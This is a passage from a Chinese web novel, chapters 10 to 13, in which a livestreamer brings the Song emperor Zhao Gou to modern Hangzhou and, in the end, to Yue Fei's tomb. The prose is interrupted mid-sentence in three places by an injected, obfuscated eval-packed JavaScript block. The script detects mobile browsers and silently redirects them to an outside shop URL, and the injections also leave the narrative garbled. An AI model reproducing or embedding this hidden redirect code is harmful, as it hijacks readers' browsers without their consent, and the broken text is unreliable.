他虽不知此时称帝的人是谁,但此间各处皆能看见汉字,必然是同他们大宋一样是中原正统王朝,那么游夏也该对大宋有归属感,否则游夏为什么不去金国、西夏,偏偏来了他们大宋? 既有归属感,看在“收复失地,恢复中原”的面子上,应该会答应他的请求吧? 【不锈钢和强军的关系素在??】 【谁快告诉赵构不锈钢不适合做兵器啊,做锅碗瓢盆才完美!】 【可能加强的是炊事班吧】 10. 第 10 章 赵构不想走?还想在这儿求学? 游夏狐疑地盯着赵构的脸,恨不得把他脸上盯出一个洞来:“你是因为正被金人追杀才不想回去的吧?” “自然不是。”赵构面不改色,一脸坦荡。想求安稳是真,想学不锈钢锻造之法更是真的,他可没撒谎,只是隐去一部分原因而已。 真让他在这里待一辈子,他还不乐意呢!这里安全是安全,但他在这里什么都不是,哪有在大宋当至高无上的天子来得痛快? 赵构只是想在这里呆到宋金停战,再带着锻造之法回大宋。他并不担心自己久留在此朝中会不会大乱,皇位会不会易主,这就是他身为大宋目前“唯一正统”的自信——他没把宋太/祖一脉放在眼里。 退一步讲,就算皇位易主,单凭不锈钢这一神器,赵构也自信他能重登帝位。 游夏:那你真是自信过了头。 赵构并不知道御船上的人们能看到他在现代的一举一动,否则他一定会字字斟酌,绝不让人看出他的逃避之意。 众人看着他们大宋的官家竟贪图安稳,不顾大宋此时的亡国之危,想在异世久待,一时间心情极为复杂。 禁卫中本就有人对赵构不满,见此立时便在在心中唾骂起这所谓的九五至尊。 当初朝廷决定出海避难,却限制禁卫携带家眷数量,不得超过两人,谁不是上有老下下有小?只有两个名额是让他们抛下父母还是妻儿? 禁卫自然不愿接受这个安排,险些发生暴乱,逼得赵构亲自写下谕旨安抚,禁卫以为朝廷会改变主意,谁知赵构这阴险的家伙前脚安抚禁卫,后脚就和心腹布下埋伏,逮捕了带头闹事的禁军,捉人时赵构甚至亲自拉弓射箭,将两名爬上屋顶逃跑的禁军射落。 这厮有这样好的箭术,怎么不去射金人? 最后带头闹事的十七名军士被处死,其他参与哗变的兵士被打散编入各支军队。[1] 如今护卫赵构的禁军中有不少人都是当初哗变的亲历者,他们虽未参与哗变,但不代表他们当时对朝廷没意见,而后来朝廷对那些军士的处置更是让他们愤怒。 尽管他们依旧尽心尽力地护卫皇帝的安全,但对于赵构这位皇帝,大部分人都是不满的。皇帝不是命他们抛家弃子也要护他安全入海吗?怎得如今还觉不够,海上也不想呆了,竟是想逃到另一个世界享乐,当真是叫人气愤。 吕颐浩闭了闭眼,没说话,只当没听见自家官家说的话。 张俊抓破脑袋,才终于憋出一句:“官家为了大宋,竟愿以天子之尊学那炼钢之术,我等却无法为其分忧解难,惭愧惭愧。” 自家皇帝脸都不要了,确实让他惭愧。 范宗尹:官家都不在这,就不用再拍马屁了。 - 【别啊,赵构才来现代没多久,我还没看够呢】 【主播,都到西湖了,不如带赵构去岳王庙看看,最好能让他在岳飞墓前磕几个!】 【你们忘了这段是录播吗?就算建议了,主播也改不了呀】 带赵构来现代之前,游夏和系统沟通达成的条件是可以带一个人穿越时空,但穿越后在异时空停留消耗的能量按分钟计费。 也就是说赵构在现代呆得越久,游夏需要花费的能量就越多,因而当赵构提出想在现代学习的请求时,游夏脑中只有一个想法:想得还挺美。 可现在观众发话了。 游夏带赵构来趟现代,一是为自证自己所言不假,二是为提高直播间热度,既然观众都发话说还想看赵构在现代的经历,她怎能不满足? 算了下目前的能量,让赵构在这学炼不锈钢,呆到战争结束是绝不可能的,但让他再待大半天还是足够的。 “可以让你在这儿多呆一会儿,不过不教你炼不锈钢,教你些别的,我保证这些对你……你们大宋会很有用的。”游夏眼珠一转,眨眼间就变了张脸,从方才的横眉冷对变成迷之微笑,“现在跟我去个地方。” 游夏:对赵构有没有用不知道,但对宋朝肯定有用。 赵构目睹游夏变脸的全过程,总觉得哪里不对,但对方又答应了自己的请求,他便暂时按下了心中的怪异,顺从地跟着游夏走。 【主播真的改主意了,看来不是录播】 【所以真的是AI生成场景!那这技术真的太厉害了,就跟真的一样,就连路人都很鲜活呢!】 游夏带着赵构,沿着系统导航给出的线路朝目的地走去。 赵构一路上都在观察着遇见的人,他已经习惯了现代人露胳膊露腿的穿着,不再大惊小怪,眼睛也从之前的不知道放哪变成了细细打量。 不为别的,只因他发现这里的人露出的胳膊、大腿几乎都有着饱满的皮肉,哪怕有的人身形纤瘦,但皮肤也都是晶莹剔透,散发着一股难以形容的生机。 之前他观游夏样貌,当她是此地的富家子弟,可现在他目之所及的人几乎都同游夏一般,衣着整洁、干净体面。 难道说此地人人都如此富庶,不必为温饱烦忧? 赵构不信,他更觉得这里应该和汴京城一样,是全国最富庶的地方,能生活在城中的百姓自然家底不俗,但若是出了城,其他地方的百姓是什么样子可就说不准了。 初到此地时听见的乐声越来越大,赵构定睛一看,发现前方有一群人正聚在一起,跟随着不知从何处传来的乐声起舞。 起舞的人中有老有少,样貌各异,脸上却无一例外地洋溢着笑容。除了跳舞的人,也有许多人寻了地儿坐下休息,摇着扇子聊天,孩童坐不住,大大小小的萝卜头在一旁追逐嬉戏。 赵构喜静,嘹亮的乐声、嘈杂的闲谈声、孩童的嬉闹声交织在一起本应让他头痛欲裂,但他竟感到了久违的安心,恍惚间,他似乎看到了从前的汴京城。 他们老赵家的皇城紧临市井,与百姓为邻。仁宗在时,大宋已无宵禁,整座汴京城通宵达旦,丝竹管弦之声至天明不歇,仁宗皇帝在寝殿都能听见市井酒楼中的百姓饮酒作乐的声音。[2] 由此可见赵宋皇城与市井民间之近,这么近那么美,赵宋皇室的人怎么会不想去凑热闹?从前赵构为康王时便常常去民间游玩。 “汴京从前也是如此。”赵构眼中透出怀念,“每至夜幕四合,商贩们便会点起灯来,虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352942|199632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不及此地路灯明亮,但造型迥异,只是看灯便别有一番趣味,更不用说那满街的吃食……” 不只是赵构陷入了回忆,御船上的所有人都想起了曾经那座繁华的汴京城,他们魂牵梦萦之处。 赵鼎至今都记得他第一次到汴京时的震撼。他父母早亡,由继母樊氏抚养长大,家境并不富裕[3],因而第一次踏进汴京,见青楼画阁,绣户珠帘,他不由得生出“忽至天阙”之感。 可惜他入汴京时已是道君皇帝在位时期,奸臣当道,再繁华的汴京也透着一股糜烂之气。 然而画卷中的异世却不同,那里比汴京更繁华,一派欣欣向荣之景,人们的精气神与大宋的百姓更是不同,那般的昂扬向上,那般的……幸福满足。 光是听赵构的描述,游夏都能想象出汴京昔日的繁华,心中遗憾更甚。为什么她没能穿到宋朝最繁荣的时期,她也很想逛逛汴京的夜市啊! 游夏:能逛汴京夜市,谁愿意在现代给赵构当导游?到底是我绑定了旅游系统,还是赵构绑定了? 系统:宝子,我需要提醒你一句,我是直播系统,不是旅游系统。 这么一想,游夏将对汴京夜市的憧憬变为了对赵构的怒火:“是啊,那么繁华的汴京城被你们父子三人毁咯。” 闻言,正感伤着的赵构脸色一僵,游夏怎么能把汴京没了的锅扣到他头上? 赵构:讲道理,我是汴京沦陷之后才当的皇帝! 他勉力维持体面地说道:“父兄之过,我不便多言。但我此生定当竭尽全力,让大宋百姓重新过上昔日在汴京时的好日子。” 【赵构这厮玩文字游戏呢?让百姓过得和以前在汴京时一样好,意思就是他才不回汴京】 【赵构:汴京我就不要了】 游夏被弹幕逗得忍俊不禁,一时间忘了回赵构的话,赵构深呼吸好几次才勉强压下被无视的怒火。 他虽是皇帝,却也能屈能伸,形势比人强时,降书都能说写就写,为了在此地多停留,为了那炼不锈钢之法,如今这点气,他能忍! 此时正是夜晚散步人最多的时候,赵构身侧突然窜出来个带着头盔的男子,对方长得壮实,擦过赵构肩膀,将赵构带得踉跄几步。 “不好意思。“那人瞧着有急事,边侧头连声道歉,边向前走去。 来到这地方后,又是被无礼男子辱骂,又是被游夏无视,赵构算是彻底没脾气了,被人撞了都没发怒,甚至瞧见对方头顶那长着兔耳朵的黄色头盔觉着稀奇,便问游夏那人是做什么的。 游夏刚才没回赵构的话纯粹是没听见,一般情况下,她还是会回复的,怎么着赵构也算是她直播间的“嘉宾“,不互动还怎么播下去。 她简单地回道:“那是外卖员,有人懒得出门买东西或者做饭的时候,可以请他们把东西送到家门口。” 赵构闻言,恍然道:“原是闲汉。” 游夏奇怪地看他:“什么闲汉,人家有工作的!” 赵构:…… 【此闲汉非彼闲汉啊主播!】 【都在这个直播间当主播了,主播你熊不熊有点丈化?!】 11.第 11 章 赵构没想到游夏居然不知道何为“闲汉”,他还以为这来自九百年后的人是全知全能的,毕竟连他的私隐都知晓。 赵构道:“闲汉做的活计和你说的外卖员差不多,也是给人送东西的……”[1] 【原来古代就有外卖员了】 【说明任何时候都不缺懒人,比如我】 【那我就要问了,人家有活干啊,为啥叫人闲汉不叫忙汉?】 【应该是因为这不算固定的正经工作吧】 【还是因为不属于士农工商的任何一个?】 学到新知识的游夏嘟囔道:“难怪有人说宋朝百姓的日子是最好过的。” 游夏穿越前专门到网上搜索了各种穿越指南,看到不少人说穿越最好穿到宋朝,那会条件好些,过得舒坦。 真假她不知道,但听宋朝连外卖员都有了,她想应该有百分之六七十是真的吧? 不过若是游夏再刷到这条帖子,她肯定会让发帖人严谨一点,给宋朝后面加个括号补充说明,告诉大家要穿到的是宋朝(非战乱版)。 赵构终于从游夏口中听到一句对大宋的夸奖,正要谦虚几句,游夏却又旧事重提:“可惜啊,被你们父子搞没了。” 赵构:朕再说一遍,汴京没了跟朕没有关系! 他知道自己重申也没用,决定岔开话题:“游娘子既然知道那么多关于大宋的事,怎会不知闲汉?难道后世没有书籍记载过这些吗?” 游夏眼神迷茫,谁知道那么多关于宋朝的事?她吗?她知道什么? 她看了眼弹幕上正在介绍宋朝外卖员的观众,她知道的那点东西跟这些观众比根本不够看好吧? “我哪知道什么大宋的事,”游夏愣了几秒,脑子终于转过弯,赵构指的是她知道的那些八卦,“那不是你的事吗?” 赵构当她是历史百科全书吗?她怎么可能什么都知道? “我就知道一些真真假假的八卦而已,”游夏摊手,“你本人和你的八卦都比较猎奇,像什么被金人吓萎之类的,所以我记得比较清楚。” 赵构的笑容僵在脸上:他为什么非要岔到这个话题上? “那不巧,这个八卦是假的。”赵构咬牙切齿,打定主意在到目的地之前不再和游夏搭话,以免还没到地方,他就先被气死了。 那被二人注视着的外卖员并没有察觉到两人的目光,二人说话间隙,外卖员已经在人群中找到了送餐对象。东西送到,他小跑回自己的电瓶车,对着后视镜整理好额前碎发,这才启动车子去取下一单。 他俩把天聊死了,一路沉默地前往目的地,弹幕也变得稀稀拉拉。系统分析几秒,分析结果显示再这样下去,直播间的热度会持续降低,它和游夏在脑海中商量了一会,决定将直播间画面一分为二。 一半是游夏二人沉默赶路的画面,另一半则切到宋朝。 【刚说有点困了,这下又精神了】 【古人看直播,好神奇的画面】 【世界名画】 【关于我在直播间看古人看直播这件事】 直播画面有一段时间延迟,画面中的赵鼎等人才看到赵构向游夏解释何为“闲汉”之时。 观众看见那本离画卷几米远的范宗尹突然向前挪动了好几步,目不转睛地盯着那正在整理头发的外卖员。 范宗尹伸长了脖子,恨不得把眼睛贴到画卷上,这才看清那物是一面能把人照得清晰无比的镜子! 如此小巧又能将人照得这般清晰的镜子,范宗尹一时间看痴了。 见他眼神迷离,恨不得把手伸进画卷中的样子,一边的赵鼎便知他对这面镜子的渴求,当即调侃道:“三照相公可是想要那镜子?” 范宗尹时年不过三十,肤色极白,少有人能及,他生得白胖,对自己的仪表极为重视,每日起床都要照镜子,侍从为他裹头戴巾时,他更是捧着镜子仔细端详才肯出门,他太爱照镜子,以至于时人给他取了个外号——三照相公。[2] 范宗尹也不恼,爱照镜子说明他注重仪表,又不是臭名远扬,这有什么值得害臊的,他只点了几下头,眼神中充斥着对那镜子的渴望。 赵鼎笑道:“若真叫你得了那镜子,三照相公的名声怕是得传得更远了。” 他已经想象出范宗尹时不时掏出镜子,揽镜自照的样子了。 这一幕被直播间的观众看见,弹幕上也都在哈哈大笑,有人科普“三照相公”一事,以免不知道这个的观众错过梗,还有人又发了几条介绍范宗尹的弹幕。 【别看他臭美,“近世宰相年少,未有如宗尹者”,人三十岁就当上宰相了。】[3] 【谁让他大力支持赵构入海避敌,赵构可不得提拔他吗?】 【话也不能这么说,能当宰相,肯定还是有两把刷子的。】 【有两把刷子能只当一年宰相就被秦桧排挤出中央,还没几年就死了?】 【好唏嘘,刚还震惊居然那么年轻就当上宰相,结果一搜死的时候不到四十】 幸而范宗尹等人只能在画卷上看见赵构那边的情况和弹幕,否则范宗尹怕是没那心情再欣赏什么镜子了。 除了范宗尹对那镜子情有独钟外,其他人都更好奇那外卖员身下的车子。 九百年后的车子同他们大宋的车一样,都有车轮,但画卷中的车却不需要人力或者畜力便能移动,实在叫人惊奇。 “难不成后世发现了更适合拉车的畜牲?”有人脑洞大开,怀疑那车下有一种体型极小但力气极大的牲畜在拉车。 “如此小的车竟能载起一名成年男子,行动之时一丝颠簸也无,”赵鼎看着那平坦的地面,“就是不知道在土路山地上还能不能跑得这样平稳。” 张俊没想那么多,他盯着那辆电瓶车,眼馋极了,这车比马稳,骑起来还没声音,不说放到战场上,就单说拿来跑路,都是极好的坐骑。 系统像是能检测出他在想什么似的,直播间的观众看见张俊头顶上冒出一个气泡,气泡内出现一幅画面——。 身着盔甲的张俊骑着电瓶车,头戴兔耳头盔,脸色凝重地捏着电瓶车把手,赵构坐在他身后死死抱住他的腰,二人骑着电瓶车在平原上奔驰,身后黑压压一片,全是提着武器、对他们穷追不舍的金兵。 范宗尹头顶上也冒着一个气泡,气泡内是他拿着一柄手持镜,照了又照,满意得不得了的画面。 系统对自己的AI生成技术很满意,游夏也对系统的整活操作表示肯定。 游夏:虽然我没活整了,但系统还能整活!我宣布你是我见过最棒的系统! 【我要笑吐了】 【正常来说,应该是赵构一个人骑电瓶车跑,张俊落在后面追】 【“正常来说”】 正朝着目的地走着,游夏突然想起一件事,她不好当着直播间的面看手机,于是戳戳系统:“系统系统,你帮我查查那里几点关门。” 如果这会在古代,游夏就需要支付查询信息的能量,但现在是在现代,系统连上网就能搜,它直接回答:“五点半。” 游夏鼓了鼓脸颊,这会都关门了,那这就有点难办了。 换个地方? 不行,游夏立刻否定这个想法,别的地方都可以不去,这个地方她一定要带赵构去! 赵构跟着游夏拐进一条小路,越走他越觉得不对劲,怎么人越来越少,灯越来越暗? “游娘子,还有几时才到?” 游夏走在前面,环顾四周,确定这周围没人,转头对他说道:“这不就到了?” “这是何地?”赵构仰着头,面前是一面高墙,他看不见里面是什么样子,但可以肯定的是,这里没有门,他们没法从这里进去。 他一偏头,惊讶地看见游夏不知从何处找到架梯子,正把梯子往墙上靠。 游夏一脚踩上梯子,心说这价值2点能量的梯子还怪结实的:“进去你就知道了。” 赵构看得目瞪口呆:“爬、爬墙进去?”他堂堂一国之君,怎么能做这种鸡鸣狗盗之事? “行了,这会儿又没人,装什么正人君子?”没叫他空手翻墙就不错了,爬个梯子就嫌丢人,求和的时候怎么不嫌丢人? 【主播,我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356003|199632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是人吗?】 【点击就看赵构爬墙】 见赵构还在犹豫,游夏说道:“你不是连金军营帐都敢去吗?怎么现在连个墙都不敢爬?” “史书里可把你在金营时的表现写得极为英勇,说你有勇有谋,我咋看不出来?”游夏坐上墙头,继续刺激他,“不会是你自己编的吧?哦对了,我记得有人猜测说去金营的不是你,可能是你找的替身。”[4] 感谢直播间的热心观众,感谢连上网的系统,否则她才不知道这些。 明知这是激将法,但赵构不得不承认,这招拙劣但好用,他真的被激到了!质疑他的一切都可以,唯独不可以质疑他究竟有没有去金营!真的是他去的金营!他亲自去的! 先前再热也不肯脱下的大氅被赵构随手扔在地上,他扶着梯子往上爬,时不时往四周张望,生怕被人看见他翻别人家墙。 直播间的屏幕上适时出现一行温馨提示:本场景由AI生成,无实际潜入行为,请勿模仿。 游夏:对不起,骗你们的,我真的潜入了。 二人跳下墙头,这里静得吓人,赵构疑心游夏是带他进了谁家后院。 “对了,这里是要收费的,只是今天咱们来得晚,才不得不翻墙进来,我帮你把钱垫了,等你回去记得还我。”游夏叮嘱系统记得明天记得帮他们补票,又再次确认这里的监控都被系统黑了,这才大摇大摆地走进去。 赵构无语,他们分明是翻墙进来的,游夏什么时候付的钱? 他更加好奇这到底是什么地方:“游娘子,这里到底是何地?不仅过了时辰就不能进来,进来竟还要钱?” 游夏言简意赅地卖关子:“墓园。” 原是坟地。 “一座坟也要收费?”赵构更加疑惑,游夏带他走了那么久的路就是为了来一处坟,甚至这里的人还专门为了一座坟修了围墙,埋在这里的人是谁?游夏为什么带他来这里? 赵构心头一震,难道这里是他的陵寝? 想到自己的陵寝被人围了起来,只要收费就能进出,赵构脸都绿了,这意味着是个人都能来他的陵寝参观。 “别误会,不是你的墓地,”一看赵构那黑中带绿的脸色,游夏就知道他自作多情了,她扫过一条弹幕,强忍住笑意补充道,“你的墓地不收费。” 天知道她看到那条弹幕说赵构的陵寝免费都没多少人去的时候有多想笑。 赵构脸色更绿了。 天色太暗,游夏掏出随身携带的手电筒,借着光将赵构那菜色的脸看得更清楚,他心情舒畅地走在前面领路。 赵构现在也是见过“世面”的古人,看见手电筒也不觉得稀奇,他亦步亦趋地跟在游夏身后,视线跟着手电筒光芒的所到之处移动。 冷不丁地看见前方有人,赵构脚步一顿,身体微侧,准备情况一有不对转身就跑,待他看仔细,便发现那不是人,而是铜像。 四座铜像被铁栅栏围住,不叫人靠近。铜像皆呈跪姿,双手皆被缚在身后,头颅低垂。 “这些是什么人?他们是犯了什么过错,竟被人铸成了跪像放在这里?”赵构好奇地问道, “你不认识?”游夏动了下手电筒,让光线落在跪像后的石壁上,“这里面可有你的熟人,不久才见过。” 赵构的目光被手电筒引着,落到了那石壁上。 “文明游览,请勿吐痰?”赵构读着石壁上贴着标语,脸色奇怪,瞧这意思,很多人往这几座铜像上吐痰? 视线下移,每座跪像的名字被人刻在了其后的石壁上。 “王氏、秦桧、万俟卨,”赵构一连扫过三个名字,这三个人里他只知道秦桧,汴京失守前,秦桧曾任御史中丞,当初大半朝臣赞同割地求和,偏秦桧极力反对,后来二帝被俘,金人想扶持张邦昌做傀儡皇帝,也是秦桧上书主张仍立赵氏,这样的忠臣,缘何须跪在此处?[4] 难道游夏说的熟人是他?但秦桧已随二帝北狩几年,至今都还在金国,何谈不久前才见过? 赵构不解,直到他看见最后一个名字。 “张俊?” 12.第 12 章 站在画卷前的张俊正在吃瓜。 一听游夏说这几座跪像里有赵构刚见过的人,他就将周围的人扫了个遍,正好奇是哪位同僚如此“有幸”,能被后人立像,没曾想竟是他本人。 张俊呆愣半天,回过神来,额角青筋跳动,竟有人做了他的跪像,还是跪在某人的墓前? 当他是镇墓俑吗? 不,镇墓俑都算不上,镇墓俑是护墓辟邪的,更不用跪着,他的跪像立在那里更像是忏悔赎罪的! “岂有此理!”张俊恨不得钻入画卷,将他的那座铜像搬走,“后人竟这般辱我!” 在场众人眼观鼻鼻观心,没人想在这个时候触张俊的霉头,李清照见他那怒火冲天的模样,心下觉他真是大惊小怪,后人都能对皇帝品头论足,何况是你张俊? 不过比起张俊,李清照更在意的是另外两座铜像——秦桧和王氏。没记错的话,她似乎有个表妹夫叫秦桧?思及秦桧身旁的王氏,李清照想她应是没记错的。 不过她也不觉意外,毕竟连身为抚州知州的秦桧岳父,也就是她的舅父王仲山面对金军未作抵抗便投降,所以秦桧能做出让后人给他立跪像的恶事又有什么稀奇的呢?[1] 对了,她的另一个舅父王仲嶷也向金人献出了袁州。 李清照:让人丢脸的亲戚太多,她已习惯。 不曾想她这副古井无波的样子却引起了观众的讨论。 【不是说李清照和秦桧是亲戚吗?怎么李清照看见秦桧的名字一点反应都没有?】 【李清照和秦桧居然是亲戚?这俩在我这是八竿子打不着的关系】 【李清照之母和王氏的父亲是亲姐弟,秦桧是李清照的表妹夫】 【李清照家世有两种说法,一种是按《宋史》里写的,李格非的妻子是王拱辰的孙女,一种是后人根据各方史料考证出的李清照之母是王准的孙女,从而得出李清照和秦桧是亲戚的结论】[2] 【那可能编剧选了前一种说法吧,所以李清照看见秦桧的名字没反应】 【也有可能李清照不想承认自己认识秦桧哈哈哈】 【李清照:别问,问就是丢人】 和李清照不同,比起另外三人,赵构更关心他们大宋的大将怎么会被后人立下跪像:“为什么要让张俊跪在这里?” 一听赵构发问,不管这群大臣心里在想什么有的没的,都立刻竖起了耳朵,他们是真好奇张俊到底干了什么。 “因为他害死了一位英雄。”游夏深深地看了赵构一眼才慢慢说道,“赵构,如果宋朝此时出现一位绝世名将,他一路北上,收复大半失地,你会怎么做?” 赵构想都不想地回答:“自然是加官进爵,厚赏三军。”说罢他猛地抬头,难道说此地便是那位英雄的魂归之所? 游夏没给他思考的时间,紧接着问出下一个问题:“那如果在这位将军有望收回汴京之时,却因一人功败垂成,你又会作何反应?” 赵构不假思索:“那阻碍将军收回汴京之人便是整个大宋的罪人,理当千刀万剐,万死难赎其咎。”他回答得极快,回答时的模样可以说是咬牙切齿。 “难道说是张俊?”赵构问道,他虽是询问,心里却已认定张俊就是那个让将军前功尽弃的人。 画卷前的人也是这么想的。 能让金人答应和议、不再兴兵,这群大宋官员就要烧高香了,此时听说竟有一人不仅把金人打得抱头鼠窜,还收复大半失土,他们甚至都怀疑这是游夏编出来的人物。 而张俊竟然害死了这样一个英雄? 张俊感受到从四面八方而来的视线,心下叫苦,就算他真的害死了那人,那是以后的他干的,关现在的他什么事? 虽觉冤枉,但张俊也唾骂了未来的自己一声,他以后是患上脑疾了吗?就算要害那人,好歹也等那人收复汴京再说啊! 【张俊遗臭万年,但他活到寿终正寝,死前过得还特快活,一直觉得太便宜他了,现在嘛……爽!!】 【明知道是演的,但是看到张俊黑脸的样子还是被爽到了嘻嘻】 游夏听了赵构的回答,面无表情地“哦”了一声,声音没有一丝起伏地说道:“那个人是你。” 赵构愣住,一时间没反应过来她的意思,游夏好心地又重复了一遍,一字一句说道:“那个阻碍宋军收回汴京的人,是你啊,官家。” 这是游夏第一次没有直呼赵构的名字,若是之前,赵构还会惊讶这人怎么突然对自己放尊重了,但现在他只能从这声千回百转的“官家”里听出阴阳怪气四个字。 阻碍宋军收回汴京的人居然是他这个大宋皇帝,谁听了不觉得荒谬? “怎会是朕?”赵构似是听见了一个天大的笑话,事实上他还没有反应过来,这里跪着的人不是张俊吗?他们不是在聊张俊吗?怎么说到他身上来了? “怎么不是你?”游夏冷笑一声,拽着失魂落魄的赵构离开铜像,继续往前走,一路疾行到墓园深处。 月朗风清,树影婆娑,数座石像分立两侧,沉默地守护着尽头处的两座一大一小的坟墓。 赵构被拉得踉跄着停在墓前,他站定抬眼,正对着他的那座较大的墓前写着“宋岳鄂王墓”。 墓前摆满新鲜的花束,芳香馥郁。 “这里是岳飞墓。”游夏扫过系统屏幕上的百科资料,“明年你会改年号为绍兴,此后十年,岳飞平游寇、收襄阳,绍兴十年他甚至已经打到了距汴京不过数十里的朱仙镇。” “他是不世出的名将,甚至可以说他是整个宋朝功勋最卓著将领,他的岳家军在金军中声名赫赫,金人会感叹‘撼山易,撼岳家军难’。” 岳飞。 结合之前那妇人反复提及的岳将军,宋朝众人很容易便知道岳飞便是她口中被赵构害死的岳将军。 “岳飞、岳飞……”赵构喃喃着这个名字,冷不丁地握住游夏的手腕说道,“游娘子可知岳将军如今身在何处,朕对天起誓,只要朕寻到岳将军,必会予以信重,此番必不会受张俊、秦桧等人的蒙蔽误杀岳将军!” 那妇人说是他赵构杀了岳将军,岳飞墓前却有张俊四人的跪像,这说明什么? 赵构自觉想明白了,细数前朝,奸臣误国的例子还少吗?吴王夫差受伯嚭蒙蔽赐死伍子胥,赵王听信郭开谗言诛杀李牧,定是那四人蒙蔽了他,才致使他杀了岳将军! 此番他得此机缘……想到自己来现代后受到的种种屈辱,赵构实在不想把这称为机缘,他心道此番虽受磨难,但能获知未来之事,也算因祸得福,他必不会重蹈覆辙。 赵构目光炯炯地盯着游夏,试图让对方能看出他眼中的诚恳。 游夏使劲把手从赵构手中抽出来,后者不知在想什么,脸上竟然浮现一抹迷之微笑,又听赵构那语气激昂的发言,看他那燃起来的架势,她十分想扣个问号。 谁来告诉她,赵构到底在燃什么? “停停停!”游夏比了个停止的手势,“谁跟你说你是被张俊他们蒙蔽才误杀岳飞的?” 赵构正畅想着他回去之后寻到岳将军,留下一段君臣相得的佳话,闻言茫然地眨了下眼睛:“你这话什么意思?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17363054|199632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他不是受奸人蒙蔽误杀岳飞,难道还能是他授意这些人去害岳飞吗? “你问我岳将军在哪,”游夏卖了个关子,转而回答他的上一个问题,“其实你早就见过他。” 他早就见过岳飞? 赵构一惊,若岳飞真像游夏说得那么神勇,他不可能对其没有印象,对方更不可能到现在籍籍无名,赵构竭力回想,却根本想不到自己究竟何时见过一个名叫岳飞的人。 见赵构真的对岳飞一点印象也没有,游夏这才开口:“靖康元年,你在相州命人招降群贼,彼时你还是天下兵马大元帅,岳飞只是跟随上官刘浩才有幸见到你的无名小卒,他后来在招降战役中立功升任承信郎。”[3] 靖康元年。 他竟在那么早之前就见过岳飞,不,那时岳飞只是一个无名小卒,就算立功也不过是升任从九品承信郎,他的目光根本就不会落到岳飞脸上,何谈见过。 可岳飞既在靖康元年便已是承信郎,为何他至今都没听过他的名字? 难道是对方的军功被冒领了? 赵构这么想,也就这么问了出来,游夏咧了咧嘴,从喉咙里挤出来一声“呵呵”,随后说道:“你刚登基那会,岳飞上书说如今局势逐渐稳固,让你别再南逃,北上出军,把你爹和你哥接回来……” 岳飞的折子里说没直说赵构贪生怕死,只说是是黄潜善等大臣不能秉承官家的意愿,只知道撺掇官家南迁,折子没递到赵构面前,先把这些当权的大臣得罪了,这么一个小官还敢妄议他们的决策,这不是越职是什么?必须得把他官职削了![4] 还好岳飞报国心切,没有因此灰心,没多久又收拾收拾去投奔河北招抚使张所,受到了重用。但凡岳飞心灰意冷,但凡张所没能慧眼识珠,大宋恐怕就要失去这位绝世名将了。[5] 【我赌五毛钱,赵构根本不觉得这些大臣做错了】 【那我跟一块钱,赵构甚至还会觉得岳飞不会来事儿不会做官】 赵构根本想不到几百年之后还有他的知音,如弹幕所料,他听完半晌没吭声,一面后怕于险些失去岳飞这一员大将,一面又觉得后人口中的名将似乎不通政事,单说他的那封折子,赵构觉得岳飞被夺去官职不冤枉。 不要南迁,和金人正面对战? 赵构:不好意思,就想逃跑。 把赵佶和赵桓接回来? 赵构:不好意思,一点都不想接他们回来。 那些决定削去岳飞官职的大臣简直就是赵构肚子里的蛔虫,他们甚至都不会把岳飞这封折子递给赵构让他生气,自己就处理好了。不过就岳飞当时的微末官职,哪怕他写的是其他东西,也照样是递不到赵构跟前的。 就听了这么一件事情,赵构就对“自己”未来杀岳飞的原因有了隐隐的猜测,但比起猜测,他更想从游夏口中知道确切的答案。 “游娘子,我想知道岳飞究竟是怎么死的?” 画卷另一端,张俊本已接受这“蒙蔽圣听的奸臣”头衔,谁知峰回路转,真凶居然不是他! 可以说他现在是除了赵构之外,最想知道岳飞到底是怎么死的人,赵鼎等人也是聚精会神地看着画卷,他们实在是太好奇了,他们好奇的事不能说出来,那是大不敬——他们好奇官家究竟在岳飞之死中扮演了什么样的角色。 众人的目光聚焦在游夏身上,只见一束花凭空出现在她手中,花很新鲜,还带着清晨的露水,她将花轻轻放在岳飞墓前随后说道:“他因罪而死。” “其罪——”,她顿了顿,定定地注视着赵构,“莫须有。” 13.第 13 章 一位将军会死在何处? 是战死沙场、马革裹尸,还是安享余年、寿终正寝? 岳飞没有死在驰骋一生的战场,也没有死在晚年的寻常午后,他死在不见天日的狱中。 绍兴十年,宋军前锋已至朱仙镇,收回汴京不再是痴人说梦,百姓翘首以盼,等待大宋的旗帜再度插上旧都城头,然而岳飞却被十二道金字牌递发的班师诏召回,岳飞几欲泣血,只道“十年之力,废于一旦”。[1] 